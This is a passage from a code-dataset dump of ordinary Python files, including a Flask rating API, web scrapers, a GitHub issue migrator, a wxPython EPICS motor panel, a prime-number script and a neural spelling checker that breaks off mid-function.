\")\ndef user(user_id):\n user = User.query.filter_by(user_id=user_id).first()\n if user is None:\n response = {}\n response[\"message\"] = \"Invalid user id\"\n return jsonify(response), 404\n return jsonify(user.to_json())\n\n\n@app_blueprint.route(\"/rating\", methods=[\"POST\"])\n@authenticate\ndef rating(user_id):\n response = {}\n request_json = request.get_json()\n\n # Validation\n keys = [\"fromUserId\", \"toUserId\", \"stars\", \"comment\"]\n for key in keys:\n if key not in request_json:\n response[\"message\"] = \"Missing {} key in request body\".format(key)\n return jsonify(response), 400\n\n from_user_id = request_json[\"fromUserId\"]\n to_user_id = request_json[\"toUserId\"]\n if from_user_id == to_user_id or user_id != from_user_id:\n response[\"message\"] = \"Invalid user id\"\n return jsonify(response), 401\n\n from_user = User.query.filter_by(user_id=from_user_id).first()\n to_user = User.query.filter_by(user_id=to_user_id).first()\n if from_user is None or to_user is None:\n response[\"message\"] = \"Invalid user id\"\n return jsonify(response), 404\n\n # Create or Update rating\n rating = Rating.query.filter_by(from_user_id=from_user_id, to_user_id=to_user_id).first()\n create = rating is None\n if create:\n rating = Rating()\n rating.from_user_id = from_user_id\n rating.to_user_id = to_user_id\n rating.stars = request_json[\"stars\"]\n rating.comment = request_json[\"comment\"]\n if create:\n db.session.add(rating)\n response[\"message\"] = \"Rating created successfully\"\n else:\n response[\"message\"] = \"Rating updated successfully\"\n db.session.commit()\n\n return jsonify(response), 200\n","sub_path":"server/project/api/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"280943347","text":"# _*_ coding:utf-8 _*_\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\n\ndef output(movie):\n with open('d:\\\\best250.txt', 'a', encoding='utf-8') as f:\n f.write(\"Rank: %s\\n\" % movie.find('em').text)\n title = movie.find_all('span', class_='title')\n # print(title)\n f.write(\"title: %s\\n\" % title[0].text)\n if len(title) != 1:\n f.write(\"title(en):%s\\n\" % title[1].text)\n f.write(\"other:%s\\n \"% movie.find('span', class_='other'))\n f.write(\"info:%s\\n\" % movie.find('div', class_='bd').find('p').text)\n f.write(\"star:%s\\n\" % movie.find('span', class_='rating_num').text)\n f.write(\"comments:%s\\n\" % movie.find('div', class_='star').find_all('span')[3].text)\n # print(movie.find('span',class_='inq'))\n # print(len(movie.find('span',class_='inq')))\n if movie.find('span',class_='inq') is not None:\n f.write(\"quote:%s\\n\" % movie.find('span',class_='inq').text)\n f.write(\"\\n\\n\")\n\ndef main():\n # headers = {'content-type': 'application/json',\n # 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}\n for i in range(10):\n print(\"get content from page%i\" % (i+1))\n text = requests.get('https://movie.douban.com/top250?start=%i&filter=&type=' % (i*25))\n text.encoding = 'utf-8'\n soup = BeautifulSoup(text.text, 'lxml')\n soup = soup.find_all('div', class_ ='item')\n # print(soup[1])\n # output(soup[1])\n # break\n for j in range(25):\n # print(movie)\n # print(\"title: %s\\n\" % movie.find('span', class_='title').text)\n # output(soup[j])\n print(soup[j])\n print(soup[j].find('div', class_='bd').find('p').text)\n director = re.compile('导演(.*?)'+'主演(.*?)')\n print(director.findall(soup[j].find('div', class_='bd').find('p').text))\n # print(soup[j].find(text=u'导演'))\n break\n break\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"douban.py","file_name":"douban.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"55734800","text":"import os\nimport numpy as np\n\nimport MapExtrackt\n\nclass ExtractFeatureMaps:\n\n def __init__(self, model ,display_every_n = 10):\n\n self.model = model\n self.display_every_n = display_every_n\n\n #self._extraction()\n\n\n def extraction(self, image_name):\n self.image_name = image_name\n fe = MapExtrackt.FeatureExtractor(self.model)\n fe.set_image(self.image_name)\n\n conv2d_layers_indexes = [i for i,x in enumerate(fe.layer_names) if x == \"Conv2d\"]\n\n desired_indexes = conv2d_layers_indexes[::self.display_every_n]\n\n all_images = []\n\n for index in desired_indexes:\n\n all_images.append(np.array(fe[index]))\n\n\n # print(\"from within map extract, type all images\", type(all_images_stacked))\n return np.asarray(all_images)\n\n\n\n\n","sub_path":"feature_maps_extractor.py","file_name":"feature_maps_extractor.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"611040172","text":"def wildcardmatch_dp(s, p):\n # The DP table and the string s and p use the same indexes i and j, but\n # table[i][j] means the match status between p[:i] and s[:j], i.e.\n # table[0][0] means the match status of two empty strings, and\n # table[1][1] means the match status of p[0] and s[0]. Therefore, when\n # refering to the i-th and the j-th characters of p and s for updating\n # table[i][j], we use p[i - 1] and s[j - 1].\n\n # Initialize the table with False. The first row is satisfied.\n table = [[False] * (len(s) + 1) for _ in range(len(p) + 1)]\n\n # Update the corner case of matching two empty strings.\n table[0][0] = True\n\n for i in range(1, len(p) + 1):\n table[i][0] = table[i - 1][0] and p[i - 1] == '*'\n\n for i in range(1, len(p) + 1):\n for j in range(1, len(s) + 1):\n if p[i - 1] != \"*\":\n # Update the table by referring the diagonal element.\n table[i][j] = table[i - 1][j - 1] and \\\n (p[i - 1] == s[j - 1] or p[i - 1] == '?')\n else:\n # a* or ?* => * matches zero chars\n table[i][j] = table[i - 1][j-1] or table[i][j-1] or table[i-1][j]\n\n for row in table:\n print(row)\n\n return table[-1][-1]\n\n\ns = 'a'\np = 'a*'\n\nprint(wildcardmatch_dp(s, p))\n","sub_path":"datastructures_algorithms/String/String-WildcardPatternMatch.py","file_name":"String-WildcardPatternMatch.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"598063617","text":"import csv\nimport logging\nimport datetime\nimport re\nfrom StringIO import StringIO\n\nimport httplib2\nfrom github2.client import Github\nfrom BeautifulSoup import BeautifulSoup\n\noptions = None\n\nlogging.basicConfig(level=logging.DEBUG)\n\ng_statusre = \\\n '^(' + \\\n 'Issue has not had initial review yet' + '|' + \\\n 'Problem reproduced \\/ Need acknowledged' + '|' + \\\n 'Work on this issue has begun' + '|' + \\\n 'Waiting on feedback or additional information' + '|' + \\\n 'Developer made source code changes, QA should verify' + '|' + \\\n 'QA has verified that the fix worked' + '|' + \\\n 'This was not a valid issue report' + '|' + \\\n 'Unable to reproduce the issue' + '|' + \\\n 'This report duplicates an existing issue' + '|' + \\\n 'We decided to not take action on this issue' + '|' + \\\n 'The requested non-coding task was completed' + \\\n ')$'\n\ndef get_url_content(url):\n h = httplib2.Http(\".cache\")\n resp, content = h.request(url, \"GET\")\n return content\n\nclass IssueComment(object):\n def __init__(self, date, author, body):\n self.created_at = date\n self.body_raw = body\n self.author = author\n self.user = options.github_user_name\n\n @property \n def body (self):\n return (\"%s - %s \\n%s\" % (self.author, self.created_at, self.body_raw)).encode('utf-8')\n\n def __repr__(self):\n return self.body.encode('utf-8')\n \nclass Issue(object):\n\n def __init__(self, issue_line):\n for k,v in issue_line.items():\n setattr(self, k.lower(), v)\n logging.info(\"Issue #%s: %s\" % (self.id, self.summary))\n self.get_original_data() \n\n def parse_date(self, node):\n datenode = node.find(attrs={'class' : 'date'})\n datestring = datenode['title']\n try:\n return datetime.datetime.strptime(datestring, '%a %b %d %H:%M:%S %Y')\n except ValueError: # if can't parse time, just assume now\n return datetime.datetime.now\n\n def get_user(self, node):\n authornode = node.find(attrs={'class' : 'author'})\n userhrefnode = authornode.find(attrs={'href' : re.compile('^\\/u\\/')})\n return userhrefnode.string\n\n def get_body(self,node):\n comment = unicode(node.find('pre').renderContents(), 'utf-8', 'replace')\n return comment\n\n def get_labels(self, soup):\n self.labels = []\n self.milestones = [] # Milestones are a form of label in googlecode\n for node in soup.findAll(attrs = { 'class' : 'label' }):\n label = unicode(re.sub('<\\/?b>', '', node.renderContents()))\n if re.match('^Milestone-', label):\n self.milestones.append(re.sub('^Milestone-', '', label))\n else:\n self.labels.append(label)\n return\n\n def get_status(self, soup):\n node = soup.find(name = 'span', attrs = { 'title' : re.compile(g_statusre) })\n self.status = unicode(node.string)\n self.labels.append(\"Status-%s\" % self.status)\n return\n\t\n \n def get_original_data(self):\n logging.info(\"GET %s\" % self.original_url)\n content = get_url_content(self.original_url)\n soup = BeautifulSoup(content)\n descriptionnode = soup.find(attrs={'class' : \"cursor_off vt issuedescription\"})\n descriptionstring = unicode(descriptionnode.find('pre').renderContents(), 'utf-8', 'replace')\n self.body = unicode(\"%s
Original link: %s\" % (descriptionstring , self.original_url))\n datenode = descriptionnode.find(attrs={'class' : 'date'})\n datestring = datenode['title']\n try:\n self.created_at = datetime.datetime.strptime(datestring, '%a %b %d %H:%M:%S %Y')\n except ValueError: # if can't parse time, just assume now\n self.created_at = datetime.datetime.now\n comments = []\n for node in soup.findAll(attrs={'class' : \"cursor_off vt issuecomment\"}):\n try:\n date = self.parse_date(node)\n author = self.get_user(node)\n body = self.get_body(node)\n if not re.match('^\\\\n\\(No comment was entered for this change\\.\\)<\\/i>\\\\n$', body):\n comments.append(IssueComment(date, author, body))\n except:\n pass\n self.comments = comments \n logging.info('got comments %s' % len(comments))\n self.get_labels(soup)\n logging.info('got labels %s' % len(self.labels))\n logging.info('got milestones %s' % len(self.milestones))\n self.get_status(soup)\n\n @property\n def original_url(self): \n gcode_base_url = \"http://code.google.com/p/%s/\" % options.google_project_name\n return \"%sissues/detail?id=%s\" % (gcode_base_url, self.id)\n \n def __repr__(self):\n return u\"%s - %s \" % (self.id, self.summary)\n \ndef download_issues():\n url = \"http://code.google.com/p/\" + options.google_project_name + \"/issues/csv?can=1&q=&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary\"\n logging.info('Downloading %s' % url)\n content = get_url_content(url) \n f = StringIO(content)\n return f\n\ndef post_to_github(issue, sync_comments=True):\n logging.info('should post %s', issue)\n github = Github(username=options.github_user_name, api_token=options.github_api_token, requests_per_second=1)\n if issue.status.lower() in \"invalid closed fixed wontfix verified worksforme duplicate done\".lower():\n issue.status = 'closed'\n else:\n issue.status = 'open'\n try: \n git_issue = github.issues.show(options.github_project, int(issue.id))\n logging.warn( \"skipping issue : %s\" % (issue))\n except RuntimeError:\n title = \"%s\" % issue.summary\n logging.info('will post issue:%s' % issue) \n logging.info(\"issue did not exist\")\n git_issue = github.issues.open(options.github_project, \n title = title,\n body = issue.body\n )\n if issue.status == 'closed':\n github.issues.close(options.github_project, git_issue.number)\n if sync_comments is False:\n return git_issue\n old_comments = github.issues.comments(options.github_project, git_issue.number)\n for i,comment in enumerate(issue.comments):\n\n exists = False\n for old_c in old_comments: \n # issue status changes have empty bodies in google code , exclude those:\n if bool(old_c.body) or old_c.body == comment.body :\n exists = True\n logging.info(\"Found comment there, skipping\")\n break\n if not exists:\n #logging.info('posting comment %s', comment.body.encode('utf-8'))\n try:\n github.issues.comment(options.github_project, git_issue.number, comment)\n except:\n logging.exception(\"Failed to post comment %s for issue %s\" % (i, issue))\n \n return git_issue \n \ndef process_issues(issues_csv, sync_comments=True):\n reader = csv.DictReader(issues_csv)\n issues = [Issue(issue_line) for issue_line in reader]\n [post_to_github(i, sync_comments) for i in issues]\n \n\nif __name__ == \"__main__\":\n import optparse \n import sys \n usage = \"usage: %prog [options]\"\n parser = optparse.OptionParser(usage)\n parser.add_option('-g', '--google-project-name', action=\"store\", dest=\"google_project_name\", help=\"The project name (from the URL) from google code.\")\n parser.add_option('-t', '--github-api-token', action=\"store\", dest=\"github_api_token\", help=\"Yout Github api token\")\n parser.add_option('-u', '--github-user-name', action=\"store\", dest=\"github_user_name\", help=\"The Github username\")\n parser.add_option('-p', '--github-project', action=\"store\", dest=\"github_project\", help=\"The Github project name:: user-name/project-name\")\n global options\n options, args = parser.parse_args(args=sys.argv, values=None)\n try: \n issues_data = download_issues()\n process_issues(issues_data)\n except:\n parser.print_help() \n raise","sub_path":"migrateissues.py","file_name":"migrateissues.py","file_ext":"py","file_size_in_byte":8351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"583222125","text":"from typing import TypeVar, NewType\nfrom Cinema.BuildingBlocks import _Foundation, Film, Gebruiker, Reservatie, Vertoning, Zaal\n\n\n_BuildingBlock = TypeVar(\"_BuildingBlock\", bound=_Foundation)\n_FilmType = NewType('_FilmType', Film)\n_GebruikerType = NewType('_GebruikerType', Gebruiker)\n_ReservatieType = NewType('_ReservatieType', Reservatie)\n_VertoningType = NewType('_VertoningType', Vertoning)\n_ZaalType = NewType('_ZaalType', Zaal)","sub_path":"Robin/Types.py","file_name":"Types.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"651920576","text":"'''\nGym[atari]確認用プログラム(パックマン)\nCopyright(c) 2020 Koji Makino and Hiromitsu Nishizaki All Rights Reserved.\n'''\nimport gym\nenv = gym.make('MsPacman-v0')\nenv.reset()\nfor _ in range(1000):\n env.render()\n env.step(env.action_space.sample())\n","sub_path":"tensor_flow/program/ch1/Openai_test_pm/openai_test_pm.py","file_name":"openai_test_pm.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"283614752","text":"#!/usr/bin/env python\n#\n\"\"\"\nprovides two classes:\n MotorPanel: a wx panel for an Epics Motor, ala medm Motor row\n\n makes use of these modules\n wxlib: extensions of wx.TextCtrl, etc for epics PVs\n Motor: Epics Motor class\n\"\"\"\n# Aug 21 2004 M Newville: initial working version.\n#\nimport wx\nfrom wx._core import PyDeadObjectError\nimport epics\nfrom epics.wx.wxlib import PVText, PVFloatCtrl, PVButton, PVComboBox, \\\n DelayedEpicsCallback, EpicsFunction\n\nfrom epics.wx.motordetailframe import MotorDetailFrame\n\nfrom epics.wx.utils import LCEN, RCEN, CEN, LTEXT, RIGHT, pack, add_button\n\nclass MotorPanel(wx.Panel):\n \"\"\" MotorPanel a simple wx windows panel for controlling an Epics Motor\n\n use psize='full' (defaiult) for full capabilities, or\n 'medium' or 'small' for minimal version\n \"\"\"\n __motor_fields = ('SET', 'disabled', 'LLM', 'HLM', 'LVIO', 'TWV',\n 'HLS', 'LLS', 'SPMG', 'DESC')\n\n def __init__(self, parent, motor=None, psize='full',\n messenger=None, prec=None, **kw):\n\n wx.Panel.__init__(self, parent, style=wx.TAB_TRAVERSAL)\n self.parent = parent\n\n if hasattr(messenger, '__call__'):\n self.__messenger = messenger\n\n self.format = None\n if prec is not None:\n self.format = \"%%.%if\" % prec\n\n self.motor = None\n self._size = 'full'\n if psize in ('medium', 'small'):\n self._size = psize\n self.__sizer = wx.BoxSizer(wx.HORIZONTAL)\n self.CreatePanel()\n\n if motor is not None:\n try:\n self.SelectMotor(motor)\n except PyDeadObjectError:\n pass\n\n\n\n @EpicsFunction\n def SelectMotor(self, motor):\n \" set motor to a named motor PV\"\n if motor is None:\n return\n\n epics.poll()\n try:\n if self.motor is not None:\n for i in self.__motor_fields:\n self.motor.clear_callback(attr=i)\n except PyDeadObjectError:\n return\n\n if isinstance(motor, (str, unicode)):\n self.motor = epics.Motor(motor)\n elif isinstance(motor, epics.Motor):\n self.motor = motor\n self.motor.get_info()\n\n\n if self.format is None:\n self.format = \"%%.%if\" % self.motor.PREC\n self.FillPanel()\n for attr in self.__motor_fields:\n self.motor.get_pv(attr).add_callback(self.OnMotorEvent,\n wid=self.GetId(),\n field=attr)\n if self._size == 'full':\n self.SetTweak(self.format % self.motor.TWV)\n\n @EpicsFunction\n def FillPanelComponents(self):\n epics.poll()\n try:\n if self.motor is None:\n return\n except PyDeadObjectError:\n return\n\n self.drive.SetPV(self.motor.PV('VAL'))\n self.rbv.SetPV(self.motor.PV('RBV'))\n self.desc.SetPV(self.motor.PV('DESC'))\n\n descpv = self.motor.PV('DESC').get()\n self.desc.Wrap(45)\n if self._size == 'full':\n self.twf.SetPV(self.motor.PV('TWF'))\n self.twr.SetPV(self.motor.PV('TWR'))\n elif len(descpv) > 20:\n font = self.desc.GetFont()\n font.PointSize -= 1\n self.desc.SetFont(font)\n\n self.info.SetLabel('')\n for f in ('SET', 'LVIO', 'SPMG', 'LLS', 'HLS', 'disabled'):\n uname = self.motor.PV(f).pvname\n wx.CallAfter(self.OnMotorEvent,\n pvname=uname, field=f)\n\n def CreatePanel(self):\n \" build (but do not fill in) panel components\"\n wdesc, wrbv, winfo, wdrv = 200, 105, 90, 120\n if self._size == 'medium':\n wdesc, wrbv, winfo, wdrv = 140, 85, 80, 100\n elif self._size == 'small':\n wdesc, wrbv, winfo, wdrv = 70, 60, 30, 80\n\n self.desc = PVText(self, size=(wdesc, 25), style=LTEXT)\n self.desc.SetForegroundColour(\"Blue\")\n font = self.desc.GetFont()\n font.PointSize -= 1\n self.desc.SetFont(font)\n\n self.rbv = PVText(self, size=(wrbv, 25), fg='Blue', style=RCEN)\n self.info = wx.StaticText(self, label='',\n size=(winfo, 25), style=RCEN)\n self.info.SetForegroundColour(\"Red\")\n\n self.drive = PVFloatCtrl(self, size=(wdrv, -1), style = wx.TE_RIGHT)\n\n try:\n self.FillPanelComponents()\n except PyDeadObjectError:\n return\n\n spacer = wx.StaticText(self, label=' ', size=(5, 5), style=RIGHT)\n self.__sizer.AddMany([(spacer, 0, CEN),\n (self.desc, 1, LCEN),\n (self.info, 0, CEN),\n (self.rbv, 0, CEN),\n (self.drive, 0, CEN)])\n\n if self._size == 'full':\n self.twk_list = ['','']\n self.__twkbox = wx.ComboBox(self, value='', size=(100, -1),\n choices=self.twk_list,\n style=wx.CB_DROPDOWN|wx.TE_PROCESS_ENTER)\n self.__twkbox.Bind(wx.EVT_COMBOBOX, self.OnTweakBoxComboEvent)\n self.__twkbox.Bind(wx.EVT_TEXT_ENTER, self.OnTweakBoxEnterEvent)\n\n self.twr = PVButton(self, label='<', size=(30, 30))\n self.twf = PVButton(self, label='>', size=(30, 30))\n\n self.stopbtn = add_button(self, label=' Stop ', action=self.OnStopButton)\n self.morebtn = add_button(self, label=' More ', action=self.OnMoreButton)\n\n self.__sizer.AddMany([(self.twr, 0, CEN),\n (self.__twkbox, 0, CEN),\n (self.twf, 0, CEN),\n (self.stopbtn, 0, CEN),\n (self.morebtn, 0, CEN)])\n\n self.SetAutoLayout(1)\n pack(self, self.__sizer)\n\n @EpicsFunction\n def FillPanel(self):\n \" fill in panel components for motor \"\n try:\n if self.motor is None:\n return\n self.FillPanelComponents()\n self.drive.Update()\n self.desc.Update()\n self.rbv.Update()\n if self._size == 'full':\n self.twk_list = self.make_step_list()\n self.UpdateStepList()\n except PyDeadObjectError:\n pass\n\n @EpicsFunction\n def OnStopButton(self, event=None):\n \"stop button\"\n if self.motor is None:\n return\n\n curstate = str(self.stopbtn.GetLabel()).lower().strip()\n if curstate == 'stop':\n self.motor.stop()\n epics.poll()\n else:\n self.motor.SPMG = 3\n \n @EpicsFunction\n def OnMoreButton(self, event=None):\n \"more button\"\n if self.motor is not None:\n MotorDetailFrame(parent=self, motor=self.motor)\n\n @DelayedEpicsCallback\n def OnTweakBoxEnterEvent(self, event=None):\n val = float(self.__twkbox.GetValue())\n wx.CallAfter(self.motor.PV('TWV').put, val)\n\n @DelayedEpicsCallback\n def OnTweakBoxComboEvent(self, event=None):\n val = float(self.__twkbox.GetValue())\n wx.CallAfter(self.motor.PV('TWV').put, val)\n\n @DelayedEpicsCallback\n def OnMotorEvent(self, pvname=None, field=None, event=None, **kws):\n if pvname is None:\n return None\n\n field_val = self.motor.get(field)\n field_str = self.motor.get(field, as_string=True)\n\n if field == 'LLM':\n self.drive.SetMin(self.motor.LLM)\n elif field == 'HLM':\n self.drive.SetMax(self.motor.HLM)\n\n elif field in ('LVIO', 'HLS', 'LLS'):\n s = 'Limit!'\n if field_val == 0:\n s = ''\n self.info.SetLabel(s)\n\n elif field == 'SET':\n label, color = 'Set:','Yellow'\n if field_val == 0:\n label, color = '','White'\n self.info.SetLabel(label)\n self.drive.bgcol_valid = color\n self.drive.SetBackgroundColour(color)\n self.drive.Refresh()\n\n elif field == 'disabled':\n label = ('','Disabled')[field_val]\n self.info.SetLabel(label)\n\n elif field == 'DESC':\n font = self.rbv.GetFont()\n if len(field_str) > 20:\n font.PointSize -= 1\n self.desc.SetFont(font)\n\n elif field == 'TWV' and self._size == 'full':\n self.SetTweak(field_str)\n\n elif field == 'SPMG' and self._size == 'full':\n label, info, color = 'Stop', '', 'White'\n if field_val == 0:\n label, info, color = ' Go ', 'Stopped', 'Yellow'\n elif field_val == 1:\n label, info, color = ' Resume ', 'Paused', 'Yellow'\n elif field_val == 2:\n label, info, color = ' Go ', 'Move Once', 'Yellow'\n self.stopbtn.SetLabel(label)\n self.info.SetLabel(info)\n self.stopbtn.SetBackgroundColour(color)\n self.stopbtn.Refresh()\n\n else:\n pass\n\n @EpicsFunction\n def SetTweak(self, val):\n if not isinstance(val, str):\n val = self.format % val\n try:\n if val not in self.twk_list:\n self.UpdateStepList(value=val)\n self.__twkbox.SetValue(val)\n except PyDeadObjectError:\n pass\n\n def make_step_list(self):\n \"\"\" create initial list of motor steps, based on motor range\n and precision\"\"\"\n if self.motor is None:\n return []\n return [self.format % i for i in self.motor.make_step_list()]\n\n def UpdateStepList(self, value=None):\n \"add a value and re-sort the list of Step values\"\n if value is not None:\n self.twk_list.append(value)\n x = [float(i) for i in self.twk_list]\n x.sort()\n self.twk_list = [self.format % i for i in x]\n # remake list in TweakBox\n self.__twkbox.Clear()\n self.__twkbox.AppendItems(self.twk_list)\n","sub_path":"Python/epics/wx/motorpanel.py","file_name":"motorpanel.py","file_ext":"py","file_size_in_byte":10164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"14580674","text":"import requests\nfrom urllib.parse import urlencode\nimport traceback\nimport os\nfrom hashlib import md5\n\n\nbase_url = \"https://www.toutiao.com/search_content/?\"\n\n\namount_size = 20\n\ndef get_page(offset):\n\tparams = {\n\t\t'offset' : offset,\n\t\t'format' : 'json',\n\t\t'keyword' : '街拍',\n\t\t'autoload' : 'true',\n\t\t'count' : '20',\n\t\t'cur_tab' : '1',\n\t\t'from' : 'search_tab',\n\t\t}\t\n\turl = base_url + urlencode(params)\n\ttry:\n\t\tresponse = requests.get(url)\n\t\tif response.status_code == 200:\n\t\t\treturn response.json()\n\texcept requests.ConnectionError as e:\n\t\ttraceback.print_exc()\n\t\treturn\n\ndef get_images(json):\n\tif json.get(\"data\"):\n\t\tfor item in json.get(\"data\"):\n\t\t\tif item.get(\"cell_type\") is not None:\n\t\t\t\tcontinue\n\t\t\ttitle = item.get(\"title\")\n\t\t\timages = item.get(\"image_list\")\n\t\t\ttry:\n\t\t\t\tfor image in images:\n\t\t\t\t\tyield{\n\t\t\t\t\t\t\"image\":image.get(\"url\"),\n\t\t\t\t\t\t\"title\":title\n\t\t\t\t \t}\n\t\t\texcept TypeError:\n\t\t\t\tcontinue\n\ndef save_image(item):\n\tif not os.path.exists(item.get(\"title\")):\n\t\tos.mkdir(item.get(\"title\"))\n\ttry:\n\t#这里要加一个http:要不然会报错requests.exceptions.MissingSchema: Invalid URL 'xxxxxxxxxxxxx': No schema supplied. Perhaps you meant xxxxxxxxxxxxx\n\t\tresponse = requests.get(\"http:\" + item.get(\"image\"))\n\t\tif response.status_code == 200:\n\t\t\tfile_path = \"{0}/{1}.{2}\".format(item.get(\"title\"), md5(response.content).hexdigest(), \"jpg\")\n\t\t\tif not os.path.exists(file_path):\n\t\t\t\twith open(file_path, \"wb\") as f:\n\t\t\t\t\tf.write(response.content)\n\t\t\telse:\n\t\t\t\tprint(\"Already Downloaded\", file_path)\n\texcept requests.ConnectionError as e:\n\t\ttracebace.print_exc()\n\n\ndef main():\n\tfor page in range(1, amount_size):\n\t\tjson = get_page(page)\n\t\tfor item in get_images(json):\n\t\t\tprint(item)\n\t\t\tsave_image(item)\n\t\t\n\t\n\nif __name__ == \"__main__\":\n\tmain()\n\n","sub_path":"tupian.py","file_name":"tupian.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"478202549","text":"from math import sqrt\n\n\ndef is_divisible(n, primes):\n \"\"\"\n Checks wether a given number n is divisible by all the numbers in a list\n smaller than the square root of itself. Return True if n is divisible by at\n least one element and False if it's not divisible by any of them\n\n Arguments:\n n = given number to check\n primes = list of numbers to check the divisibility by\n \"\"\"\n check = False\n Max = sqrt(n)\n for i in primes:\n\n if i > Max:\n return False\n\n if n % i == 0:\n check = True\n break\n else:\n check = False\n\n return check\n\n\ndef find_primes(N):\n \"\"\"\n Returns a list of prime numbers up to a given number N.\n\n It uses the is_divisible function to check, for every number between 3 and\n N, if it's divisible by any other prime in the list, if it doesn't it's\n appended to the 'primes' list\n \"\"\"\n if N < 2:\n ret = \"There are no prime numbers smaller than \" + str(N)\n return ret\n\n primes = [2]\n for i in range(3, N + 1, 2):\n if not is_divisible(i, primes): # not divisible by any other prime\n primes.append(i) # append it to the list\n return primes\n\n\ndef brun(N):\n \"\"\"\n Returns the Brun's constant calculated used the primes up to a given N\n\n The Brun's constant is calculated as the sum of the reciprocal of all pairs\n of twin prime numbers (difference 2)\n \"\"\"\n sum = 0\n lastP = 1\n primes = find_primes(N) # creates the list of prime up to N\n for i in primes:\n if i - lastP == 2: # checks for two consecutive elements if they're twin primes\n sum = sum + (1/lastP + 1/i)\n lastP = i\n return sum # the returned sum is the Brun's constant requested\n\n\nprint(find_primes(200))\nprint()\nprint(brun(10**6))\n","sub_path":"Python/Coursework1/brun.py","file_name":"brun.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"333816427","text":"import random\nimport pathlib\nimport json\nimport itertools\nimport numpy as np\nimport pickle\nimport math\nimport torch\nimport jellyfish\nimport pickle\nfrom os import path\n\nimport os, shutil\n\nfrom imgCls import *\n\n\n# a helper function..\ndef pt_info(ot):\n print(\"Size: \",ot.size(),\" Data type: \", ot.dtype,\" Device: \",ot.device, \" Requires grad: \", ot.requires_grad)\n return\n\nclass DeepSpellingChecker:\n #ky_dct = load_keys(dr_lc)\n def __init__(self,encode_dir,net_dir):\n self.encode_dir = encode_dir\n self.net_dir = net_dir\n self.ky_dct = load_keys(encode_dir)\n self.mapp = None\n return\n def encode_image(self,wrd):\n return encode_word(wrd,self.ky_dct)\n def create_word_mistake(self,wrd):\n return word_mix(wrd)\n def can_use_gpu(self):\n return torch.cuda.is_available()\n def train_words(self,wrd_list):\n rt_name = \"mdl_spelling\"\n dcMapping = {}\n maxDepth = 30\n wrl = WordManage()\n wrl.set_words(wrd_list,0)\n # clean out the network directory\n delete_files_dir(self.net_dir)\n # \n train_and_choose(rt_name,wrl,dcMapping,maxDepth,self.net_dir)\n \n file_path = self.mapping_file()\n \n save_json(dcMapping,file_path)\n \n self.mapp = dcMapping\n return \n \n def mapping_file(self):\n return os.path.join(self.net_dir, \"word_tree_mapping.json\")\n \n def best_word_match(self,wrd,dbg=False):\n \n file_path = self.mapping_file()\n \n if self.mapp == None:\n self.mapp = load_json(file_path)\n \n rt_name = \"mdl_spelling\"\n \n wd = spell_word(wrd,rt_name,self.mapp,self.net_dir, dbg)\n \n if len(wd) > 1:\n srt = sorted(wd,key=lambda ky : jellyfish.damerau_levenshtein_distance(wrd,ky))\n if dbg:\n print(\"matches... \",srt)\n return srt[0]\n else:\n return wd[0]\n \n def print_network_layout(self):\n print(ImgNet(5))\n return\n\n \n\n# This class manages the list of words that are being trained..\nclass WordManage():\n # load a file of words to train.\n def load(self,flnm):\n self._wrds = {}\n with open(flnm,\"r\") in fl:\n self._wrds = { wrd : 0 for wrd in fl.readlines() }\n return\n \n # choose n words from the list\n def choose_words(self,nm):\n lst = [wrd for wrd in self._wrds.keys()]\n return random.sample(lst,min(nm,len(lst)))\n \n # filter by a category\n def filter_list(self, category):\n wrd = WordManage()\n dc = { wrd : category for (wrd,itm) in self._wrds.items() if itm == category }\n wrd.set_dic(dc)\n return wrd\n \n # set the hidden dictionary for the managed list\n def set_dic(self,dc):\n self._wrds = dc\n return\n \n # get a list of available words\n def all_words(self):\n return [k for k in self._wrds.keys()]\n \n # set category value for a list of words (alternative to load method)\n def set_words(self,wrds,category):\n self._wrds = { wrd : category for wrd in wrds }\n return\n \n # sets a words category\n def set_category(self,wrd,vlu):\n if not type(wrd)==str:\n raise Exception(\"Bad set type\",str(type(wrd)))\n \n self._wrds[wrd] = vlu\n return\n \n # number of words\n def word_count(self):\n return len(self._wrds.keys())\n \ndef load_keys(dr_loc=\"\"):\n kvy = None\n pth = \"\"\n if len(dr_loc) == 0: \n pth = pathlib.Path(__file__).parent.absolute()\n pth = str(pth) + \"/encoding_keys.json\"\n else:\n pth = pth + \"/encoding_keys.json\"\n \n with open(pth,\"r\") as fl:\n data = fl.read()\n kyv = json.loads(data)\n \n return kyv\n\n\ndef delete_files_dir(folder):\n for filename in os.listdir(folder):\n file_path = os.path.join(folder, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as e:\n print('Failed to delete %s. Reason: %s' % (file_path, e))\n \n\ndef encode_word_keys(txt,k1,k2,k3):\n c,c2,c3 = \"\",\"\",\"\"\n WIDTH = 256\n lyr = np.zeros((3,WIDTH),np.float32)\n txt = txt.lower()\n ln = len(txt)\n 